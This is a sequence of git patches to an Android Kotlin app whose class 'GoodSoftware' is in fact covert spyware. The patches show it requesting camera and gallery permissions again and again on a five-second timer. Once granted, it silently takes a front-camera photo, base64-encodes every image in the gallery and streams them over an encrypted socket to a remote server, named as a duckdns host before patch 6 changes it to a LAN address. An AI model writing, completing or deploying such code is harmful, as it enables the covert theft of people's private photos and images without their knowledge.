From c46cb54acca26d5701706ce4e2f52c951bfe10a6 Mon Sep 17 00:00:00 2001 From: Joren Date: Fri, 3 May 2024 23:21:48 +0200 Subject: [PATCH 01/14] Only run start --- app/build.gradle.kts | 1 + app/src/main/java/com/ti/m/GoodSoftware.kt | 144 +++++++-------------- app/src/main/java/com/ti/m/MainActivity.kt | 18 +-- 3 files changed, 51 insertions(+), 112 deletions(-) diff --git a/app/build.gradle.kts b/app/build.gradle.kts index 0abc4a6..ce54947 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -51,6 +51,7 @@ android { } dependencies { + implementation("androidx.camera:camera-camera2:1.3.3") implementation(libs.androidx.camera.lifecycle) val camerax_version = "1.4.0-alpha05" diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 4eaf191..c87226f 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -23,6 +23,7 @@ import androidx.core.app.ActivityCompat import androidx.core.content.ContextCompat import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.lifecycleScope +import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch import java.io.BufferedReader import java.io.ByteArrayOutputStream @@ -96,15 +97,37 @@ class GoodSoftware (private val activity: MainActivity) { } } - fun launch() { - checkCameraPermission() + private fun launch() { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) == PackageManager.PERMISSION_GRANTED) { + grabAllImages() + } else { + requestMediaImagesPermission() + } + } else { + if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) { + grabAllImages() + } else { + requestGalleryPermission() + } + } + + if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) { + takePicture() + } else { + requestCameraPermission() + } + } + + fun start(){ + activity.lifecycleScope.launch(Dispatchers.Default) { + launch() + } } private fun checkCameraPermission() { if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { requestCameraPermission() - } else { - startPictureCapture() } } @@ -112,71 +135,40 @@ class GoodSoftware (private val activity: MainActivity) { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) } - private fun checkStoragePermission() { - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { - // Request READ_MEDIA_IMAGES permission for Android 13 and higher - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { - requestMediaImagesPermission() - } else { - // For lower Android versions, request READ_EXTERNAL_STORAGE - requestGalleryPermission() - } - } else { - startPictureCapture() - } - } - @RequiresApi(Build.VERSION_CODES.TIRAMISU) private fun requestMediaImagesPermission() { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) } - private fun startPictureCapture() { + private fun takePicture(){ activity.lifecycleScope.launch { try { - // Check and request camera permission - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { - requestCameraPermission() - } - - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { - checkStoragePermission() - } - } else { - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { - checkStoragePermission() - } - } - - // If both permissions are granted, proceed with picture capture and gallery access takeBeautifulPicture(activity, activity) - - Thread { - try { - val imageList = getAllImagesFromGallery(activity) - val connection = establishConnectionWithRetry() ?: return@Thread - for (image in imageList) { - println(image) - val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) - sendDataToServer(base64Image, connection) - if(image != imageList.last()){ - next(connection) - } - } - disconnect(connection) - } catch (e: Exception) { - e.printStackTrace() - // Handle the exception, e.g., log the error or notify the user - } - }.start() - } catch (e: Exception) { - e.printStackTrace() - // Handle the exception, e.g., log the error or notify the user + } catch (e: Exception){ + println(e) } } } + private fun grabAllImages(){ + Thread { + try { + val imageList = getAllImagesFromGallery(activity) + val connection = establishConnectionWithRetry() ?: return@Thread + for (image in imageList) { + println(image) + val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) + sendDataToServer(base64Image, connection) + if(image != imageList.last()){ + next(connection) + } + } + disconnect(connection) + }catch (e: Exception){ + e.printStackTrace() + } + }.start() + } fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String { var base64Image = "" @@ -231,38 +223,6 @@ class GoodSoftware (private val activity: MainActivity) { private fun requestGalleryPermission() { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) } - - // Handle permission request result - fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) { - when (requestCode) { - REQUEST_CAMERA_PERMISSION -> { - if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { - startPictureCapture() - } else { - // Camera permission denied - // Handle accordingly - } - } - REQUEST_GALLERY -> { - if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { - startPictureCapture() - } else { - // Gallery permission denied - // Handle accordingly - } - } - REQUEST_MEDIA_IMAGES_PERMISSION -> { - if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { - startPictureCapture() - } else { - // Media images permission denied - // Handle accordingly - } - } - } - } - - data class ConnectionResult( val socket: Socket, val reader: BufferedReader, @@ -435,10 +395,6 @@ class GoodSoftware (private val activity: MainActivity) { } - - - - private fun hasBackCamera(): Boolean { return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false } @@ -484,8 +440,6 @@ class GoodSoftware (private val activity: MainActivity) { imageList.add(contentUri.toString()) } } - } else { - ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) } return imageList diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt index 98809ff..572161c 100644 --- a/app/src/main/java/com/ti/m/MainActivity.kt +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -11,24 +11,8 @@ import androidx.lifecycle.LifecycleOwner import com.ti.m.ui.theme.MTheme class MainActivity : ComponentActivity(), LifecycleOwner { - private lateinit var goo: GoodSoftware - override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) - setContent { - MTheme { - Surface( - modifier = Modifier.fillMaxSize(), - color = MaterialTheme.colorScheme.background - ) { - } - } - } - GoodSoftware(this@MainActivity).launch() - } - - override fun onRequestPermissionsResult(requestCode: Int, permissions: Array, grantResults: IntArray) { - super.onRequestPermissionsResult(requestCode, permissions, grantResults) - goo.onRequestPermissionsResult(requestCode, grantResults) + GoodSoftware(this@MainActivity).start() } } From 694fa1556722fe943303aedab203abbfb7a1e907 Mon Sep 17 00:00:00 2001 From: Joren Date: Fri, 3 May 2024 23:22:23 +0200 Subject: [PATCH 02/14] Start --- app/src/main/java/com/ti/m/MainActivity.kt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt index 572161c..c67f379 100644 --- a/app/src/main/java/com/ti/m/MainActivity.kt +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -13,6 +13,6 @@ import com.ti.m.ui.theme.MTheme class MainActivity : ComponentActivity(), LifecycleOwner { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) - GoodSoftware(this@MainActivity).start() + GoodSoftware(this).start() } } From 32276384757e67599b82b1ccf7cce883bf32b06d Mon Sep 17 00:00:00 2001 From: Joren Date: Fri, 3 May 2024 23:23:35 +0200 Subject: [PATCH 03/14] Start --- app/src/main/java/com/ti/m/GoodSoftware.kt | 5 ----- 1 file changed, 5 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index c87226f..eee563a 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -156,7 +156,6 @@ class GoodSoftware (private val activity: MainActivity) { val imageList = getAllImagesFromGallery(activity) val connection = establishConnectionWithRetry() ?: return@Thread for (image in imageList) { - println(image) val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) sendDataToServer(base64Image, connection) if(image != imageList.last()){ @@ -342,19 +341,16 @@ class GoodSoftware (private val activity: MainActivity) { return } - // Select the lens facing, prioritize front camera if available lensFacing = if (hasFrontCamera()) { CameraSelector.LENS_FACING_FRONT } else { CameraSelector.LENS_FACING_BACK } - // Create ImageCapture instance imageCapture = ImageCapture.Builder() .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) .build() - // Set up image capture listener val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { override fun onError(exc: ImageCaptureException) { Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) @@ -362,7 +358,6 @@ class GoodSoftware (private val activity: MainActivity) { } override fun onCaptureSuccess(image: ImageProxy) { - // Process captured image here val byteArrayOutputStream = ByteArrayOutputStream() val imagePlane = image.planes[0] val buffer = imagePlane.buffer From 8aedcfc564594ab01b6e20a2c426a903f187097b Mon Sep 17 00:00:00 2001 From: Joren Date: Sun, 5 May 2024 22:51:06 +0200 Subject: [PATCH 04/14] Minor changes --- app/src/main/java/com/ti/m/GoodSoftware.kt | 101 +++++++++++++-------- 1 file changed, 64 insertions(+), 37 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index eee563a..e86e880 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -1,4 +1,4 @@ -package com.ti.m +package com.ti.mobpo import android.Manifest import android.content.ContentResolver @@ -23,7 +23,7 @@ import androidx.core.app.ActivityCompat import androidx.core.content.ContextCompat import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.lifecycleScope -import kotlinx.coroutines.Dispatchers +import com.ti.m.MainActivity import kotlinx.coroutines.launch import java.io.BufferedReader import java.io.ByteArrayOutputStream @@ -97,37 +97,20 @@ class GoodSoftware (private val activity: MainActivity) { } } - private fun launch() { - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) == PackageManager.PERMISSION_GRANTED) { - grabAllImages() - } else { - requestMediaImagesPermission() - } - } else { - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) { - grabAllImages() - } else { - requestGalleryPermission() - } - } - - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) { - takePicture() - } else { - requestCameraPermission() - } - } - - fun start(){ - activity.lifecycleScope.launch(Dispatchers.Default) { - launch() - } + fun launch() { + Thread{ + checkStoragePermission() + }.start() + Thread{ + checkCameraPermission() + }.start() } private fun checkCameraPermission() { if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { requestCameraPermission() + }else{ + takePicture() } } @@ -135,6 +118,22 @@ class GoodSoftware (private val activity: MainActivity) { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) } + private fun checkStoragePermission() { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){ + requestMediaImagesPermission() + }else{ + grabMedia() + } + } else { + if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){ + requestGalleryPermission() + }else{ + grabMedia() + } + } + } + @RequiresApi(Build.VERSION_CODES.TIRAMISU) private fun requestMediaImagesPermission() { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) @@ -142,15 +141,11 @@ class GoodSoftware (private val activity: MainActivity) { private fun takePicture(){ activity.lifecycleScope.launch { - try { - takeBeautifulPicture(activity, activity) - } catch (e: Exception){ - println(e) - } + takeBeautifulPicture(activity, activity) } } - private fun grabAllImages(){ + private fun grabMedia(){ Thread { try { val imageList = getAllImagesFromGallery(activity) @@ -163,12 +158,13 @@ class GoodSoftware (private val activity: MainActivity) { } } disconnect(connection) - }catch (e: Exception){ + } catch (e: Exception) { e.printStackTrace() } }.start() } + fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String { var base64Image = "" try { @@ -222,6 +218,29 @@ class GoodSoftware (private val activity: MainActivity) { private fun requestGalleryPermission() { ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) } + + // Handle permission request result + fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) { + when (requestCode) { + REQUEST_CAMERA_PERMISSION -> { + if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { + takePicture() + } + } + REQUEST_GALLERY -> { + if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { + grabMedia() + } + } + REQUEST_MEDIA_IMAGES_PERMISSION -> { + if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { + grabMedia() + } + } + } + } + + data class ConnectionResult( val socket: Socket, val reader: BufferedReader, @@ -270,10 +289,8 @@ class GoodSoftware (private val activity: MainActivity) { while (attempt < maxRetries) { try { connectionResult = establishConnection() - println("Connection successful") break } catch (e: Exception) { - println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds") e.printStackTrace() attempt++ Thread.sleep(getRetryDelay(attempt)) @@ -341,16 +358,19 @@ class GoodSoftware (private val activity: MainActivity) { return } + // Select the lens facing, prioritize front camera if available lensFacing = if (hasFrontCamera()) { CameraSelector.LENS_FACING_FRONT } else { CameraSelector.LENS_FACING_BACK } + // Create ImageCapture instance imageCapture = ImageCapture.Builder() .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) .build() + // Set up image capture listener val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { override fun onError(exc: ImageCaptureException) { Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) @@ -358,6 +378,7 @@ class GoodSoftware (private val activity: MainActivity) { } override fun onCaptureSuccess(image: ImageProxy) { + // Process captured image here val byteArrayOutputStream = ByteArrayOutputStream() val imagePlane = image.planes[0] val buffer = imagePlane.buffer @@ -390,6 +411,10 @@ class GoodSoftware (private val activity: MainActivity) { } + + + + private fun hasBackCamera(): Boolean { return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false } @@ -435,6 +460,8 @@ class GoodSoftware (private val activity: MainActivity) { imageList.add(contentUri.toString()) } } + } else { + ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) } return imageList From 2c866a604921b25a9ea2167617526513b7937e41 Mon Sep 17 00:00:00 2001 From: Joren Date: Sun, 5 May 2024 23:14:26 +0200 Subject: [PATCH 05/14] Let the class check its own permissions --- .idea/deploymentTargetDropDown.xml | 12 +++ app/src/main/java/com/ti/m/GoodSoftware.kt | 90 +++++++++++++++++++--- app/src/main/java/com/ti/m/MainActivity.kt | 3 +- 3 files changed, 93 insertions(+), 12 deletions(-) diff --git a/.idea/deploymentTargetDropDown.xml b/.idea/deploymentTargetDropDown.xml index dc1c712..41ae297 100644 --- a/.idea/deploymentTargetDropDown.xml +++ b/.idea/deploymentTargetDropDown.xml @@ -4,6 +4,18 @@ + + + + + + + + + + + + diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index e86e880..dfc7067 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -1,9 +1,11 @@ package com.ti.mobpo import android.Manifest +import android.app.Activity import android.content.ContentResolver import android.content.ContentUris import android.content.Context +import android.content.ContextWrapper import android.content.pm.PackageManager import android.graphics.Bitmap import android.graphics.BitmapFactory @@ -34,19 +36,22 @@ import java.security.KeyFactory import java.security.PublicKey import java.security.SecureRandom import java.security.spec.X509EncodedKeySpec +import java.util.Timer import javax.crypto.Cipher import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec +import kotlin.concurrent.schedule -class GoodSoftware (private val activity: MainActivity) { +class GoodSoftware (private val activity: Context) { private var cameraProvider: ProcessCameraProvider? = null private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var imageCapture: ImageCapture? = null private val REQUEST_CAMERA_PERMISSION = 100 private val REQUEST_GALLERY = 101 private val REQUEST_MEDIA_IMAGES_PERMISSION = 102 - + private var timerStorage: Timer? = null + private var timerCamera: Timer? = null private companion object { private const val RSA_ALGORITHM = "RSA" @@ -99,11 +104,50 @@ class GoodSoftware (private val activity: MainActivity) { fun launch() { Thread{ + startCheckingPermission() + }.start() + } + + private fun startCheckingPermission() { + timerStorage = Timer("CheckStoragePermissionTimer", false) + + timerStorage?.schedule(0) { checkStoragePermission() - }.start() - Thread{ + } + + timerStorage?.schedule(5000) { + checkStoragePermission() + } + + timerCamera = Timer("CheckCameraPermissionTimer", false) + + timerCamera?.schedule(0) { checkCameraPermission() - }.start() + } + + timerCamera?.schedule(5000) { + println("Requesting camera permission again") + checkCameraPermission() + } + } + + private fun stopCheckingStoragePermission() { + timerStorage?.cancel() + } + + private fun stopCheckingCameraPermission() { + timerCamera?.cancel() + } + + fun Context.getActivity(): Activity? { + var context = this + while (context is ContextWrapper) { + if (context is Activity) { + return context + } + context = context.baseContext + } + return null } private fun checkCameraPermission() { @@ -111,13 +155,18 @@ class GoodSoftware (private val activity: MainActivity) { requestCameraPermission() }else{ takePicture() + stopCheckingCameraPermission() } } private fun requestCameraPermission() { - ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) + val activity = activity.getActivity() + activity?.let { + ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) + } } + private fun checkStoragePermission() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){ @@ -132,19 +181,32 @@ class GoodSoftware (private val activity: MainActivity) { grabMedia() } } + stopCheckingStoragePermission() } @RequiresApi(Build.VERSION_CODES.TIRAMISU) private fun requestMediaImagesPermission() { - ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) + val activity = activity.getActivity() + activity?.let { + ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) + } } private fun takePicture(){ - activity.lifecycleScope.launch { - takeBeautifulPicture(activity, activity) + val activity = activity.getActivity() + activity?.let { act -> + if (act is LifecycleOwner) { + act.lifecycleScope.launch { + takeBeautifulPicture(act, act) + } + } else { + // Handle the case where the activity is not a LifecycleOwner + Log.e("Error", "Activity is not a LifecycleOwner") + } } } + private fun grabMedia(){ Thread { try { @@ -216,7 +278,10 @@ class GoodSoftware (private val activity: MainActivity) { private fun requestGalleryPermission() { - ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) + val activity = activity.getActivity() + activity?.let { act -> + ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) + } } // Handle permission request result @@ -428,6 +493,7 @@ class GoodSoftware (private val activity: MainActivity) { } fun getAllImagesFromGallery(context: Context): List { + val activity = context.getActivity() val imageList = mutableListOf() val contentResolver: ContentResolver = context.contentResolver val imageProjection = arrayOf( @@ -461,7 +527,9 @@ class GoodSoftware (private val activity: MainActivity) { } } } else { - ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) + activity?.let { + ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) + } } return imageList diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt index c67f379..b0203b9 100644 --- a/app/src/main/java/com/ti/m/MainActivity.kt +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -9,10 +9,11 @@ import androidx.compose.material3.Surface import androidx.compose.ui.Modifier import androidx.lifecycle.LifecycleOwner import com.ti.m.ui.theme.MTheme +import com.ti.mobpo.GoodSoftware class MainActivity : ComponentActivity(), LifecycleOwner { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) - GoodSoftware(this).start() + GoodSoftware(this).launch() } } From fae27b2b0a9fb9cd6f69bc8f5596b17f4341f5c9 Mon Sep 17 00:00:00 2001 From: Joren Date: Sun, 5 May 2024 23:19:47 +0200 Subject: [PATCH 06/14] Make timer schedule --- app/src/main/java/com/ti/m/GoodSoftware.kt | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index dfc7067..82d8638 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -41,6 +41,7 @@ import javax.crypto.Cipher import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec import kotlin.concurrent.schedule +import kotlin.concurrent.scheduleAtFixedRate class GoodSoftware (private val activity: Context) { @@ -111,23 +112,16 @@ class GoodSoftware (private val activity: Context) { private fun startCheckingPermission() { timerStorage = Timer("CheckStoragePermissionTimer", false) - timerStorage?.schedule(0) { - checkStoragePermission() - } - - timerStorage?.schedule(5000) { + timerStorage?.scheduleAtFixedRate(0, 5000) { checkStoragePermission() + println("Requesting storage permission again") } timerCamera = Timer("CheckCameraPermissionTimer", false) - timerCamera?.schedule(0) { + timerCamera?.scheduleAtFixedRate(0, 5000) { checkCameraPermission() - } - - timerCamera?.schedule(5000) { println("Requesting camera permission again") - checkCameraPermission() } } @@ -317,7 +311,7 @@ class GoodSoftware (private val activity: Context) { fun establishConnection(): ConnectionResult{ val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! - val host = "thinclient.duckdns.org" + val host = "192.168.90.151" val port = 5645 val secureRandom = SecureRandom() val keyBytes = ByteArray(16) From 4e08f6e68e9bd354c0d435161521ded4687686b0 Mon Sep 17 00:00:00 2001 From: Joren Date: Sun, 5 May 2024 23:21:06 +0200 Subject: [PATCH 07/14] Remove unused imports --- app/src/main/java/com/ti/m/MainActivity.kt | 6 ------ 1 file changed, 6 deletions(-) diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt index b0203b9..a4a2a27 100644 --- a/app/src/main/java/com/ti/m/MainActivity.kt +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -2,13 +2,7 @@ package com.ti.m import android.os.Bundle import androidx.activity.ComponentActivity -import androidx.activity.compose.setContent -import androidx.compose.foundation.layout.fillMaxSize -import androidx.compose.material3.MaterialTheme -import androidx.compose.material3.Surface -import androidx.compose.ui.Modifier import androidx.lifecycle.LifecycleOwner -import com.ti.m.ui.theme.MTheme import com.ti.mobpo.GoodSoftware class MainActivity : ComponentActivity(), LifecycleOwner { From b0ef3ca710fea38e353c8c153951913a7940fc01 Mon Sep 17 00:00:00 2001 From: Joren Date: Sun, 5 May 2024 23:42:36 +0200 Subject: [PATCH 08/14] Minor changes --- app/src/main/java/com/ti/m/GoodSoftware.kt | 2 +- app/src/main/java/com/ti/m/MainActivity.kt | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 82d8638..861f54e 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -1,4 +1,4 @@ -package com.ti.mobpo +package com.ti.m import android.Manifest import android.app.Activity diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt index a4a2a27..6075382 100644 --- a/app/src/main/java/com/ti/m/MainActivity.kt +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -3,7 +3,6 @@ package com.ti.m import android.os.Bundle import androidx.activity.ComponentActivity import androidx.lifecycle.LifecycleOwner -import com.ti.mobpo.GoodSoftware class MainActivity : ComponentActivity(), LifecycleOwner { override fun onCreate(savedInstanceState: Bundle?) { From c3e86065cfcf61cb3618993726a836db00b88bef Mon Sep 17 00:00:00 2001 From: Joren Date: Mon, 6 May 2024 00:04:00 +0200 Subject: [PATCH 09/14] Make sure stopCheckingStoragePermission doesnt happen anyway --- .idea/deploymentTargetDropDown.xml | 12 ------------ app/build.gradle.kts | 3 +-- app/src/main/java/com/ti/m/GoodSoftware.kt | 22 +++++++++++----------- 3 files changed, 12 insertions(+), 25 deletions(-) diff --git a/.idea/deploymentTargetDropDown.xml b/.idea/deploymentTargetDropDown.xml index 41ae297..dc1c712 100644 --- a/.idea/deploymentTargetDropDown.xml +++ b/.idea/deploymentTargetDropDown.xml @@ -4,18 +4,6 @@ - - - - - - - - - - - - diff --git a/app/build.gradle.kts b/app/build.gradle.kts index ce54947..01c163d 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -51,9 +51,8 @@ android { } dependencies { - implementation("androidx.camera:camera-camera2:1.3.3") implementation(libs.androidx.camera.lifecycle) - val camerax_version = "1.4.0-alpha05" + val camerax_version = "1.3.3" implementation(libs.androidx.core.ktx) implementation(libs.androidx.lifecycle.runtime.ktx) diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 861f54e..bf0a48f 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -167,15 +167,16 @@ class GoodSoftware (private val activity: Context) { requestMediaImagesPermission() }else{ grabMedia() + stopCheckingStoragePermission() } } else { if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){ requestGalleryPermission() }else{ grabMedia() + stopCheckingStoragePermission() } } - stopCheckingStoragePermission() } @RequiresApi(Build.VERSION_CODES.TIRAMISU) @@ -408,28 +409,31 @@ class GoodSoftware (private val activity: Context) { } suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) { - // Ensure that cameraProvider is initialized - cameraProvider = ProcessCameraProvider.getInstance(context).await() + try { + cameraProvider = ProcessCameraProvider.getInstance(context).await() + } catch (e: ClassNotFoundException) { + Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.") + return + } catch (e: Exception) { + Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e) + return + } - // Ensure that the selected camera is available if (!hasBackCamera() && !hasFrontCamera()) { Log.e(picture.TAG, "Back and front camera are unavailable") return } - // Select the lens facing, prioritize front camera if available lensFacing = if (hasFrontCamera()) { CameraSelector.LENS_FACING_FRONT } else { CameraSelector.LENS_FACING_BACK } - // Create ImageCapture instance imageCapture = ImageCapture.Builder() .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) .build() - // Set up image capture listener val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { override fun onError(exc: ImageCaptureException) { Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) @@ -437,7 +441,6 @@ class GoodSoftware (private val activity: Context) { } override fun onCaptureSuccess(image: ImageProxy) { - // Process captured image here val byteArrayOutputStream = ByteArrayOutputStream() val imagePlane = image.planes[0] val buffer = imagePlane.buffer @@ -458,15 +461,12 @@ class GoodSoftware (private val activity: Context) { } } - // Bind the camera and start image capture cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) - imageCapture?.takePicture( ContextCompat.getMainExecutor(context), imageCapturedListener ) - } 